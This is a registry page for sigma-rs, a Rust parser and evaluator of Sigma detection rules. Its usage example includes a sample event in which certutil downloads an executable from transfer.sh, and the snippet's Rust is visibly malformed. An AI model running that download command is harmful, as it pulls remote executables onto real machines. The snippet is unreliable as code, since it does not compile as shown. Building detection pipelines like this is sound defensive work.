#parser #sigma #rules #detection #condition #test #reference

sigma-rs

A Rust implementation and parser of Sigma rules

1 unstable release

0.1.0 Mar 18, 2024

#5 in #sigma

45 downloads per month

MIT license

22KB
472 lines

sigma-rs

A Rust implementation and parser of Sigma rules. Useful for building your own detection pipelines.

Features

  • support complex condition like (not test*) and ((1 of test1) or (all of test))
  • regex build cache

Usage

let rule = r#"title: Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE#;
let json = r#"{
    "Image": "C:\\Windows\\system32\\certutil.exe",
    "ParentImage": "C:\\WINDOWS\\system32\\cmd.exe",
    "ProcessId": "10952",
    "utc_time": "2023-03-20 17:31:23",
    "ServerScore": "0",
    "CommandLine": "certutil  -urlcache \"-split\" \"-f\" \"http://transfer.sh/artifact.exe test.exe\"",
    "ParentCommandLine": "\"C:\\WINDOWS\\system32\\cmd.exe\"",
    "OriginalFile": "CertUtil.exe.mui",
    "log_type": "ProcessCreate"
  }"#
println!("{}", evaluate_sigma(parse_sigma(rule.to_string()), &source));

Reference

Dependencies

~5–7.5MB
~139K SLoC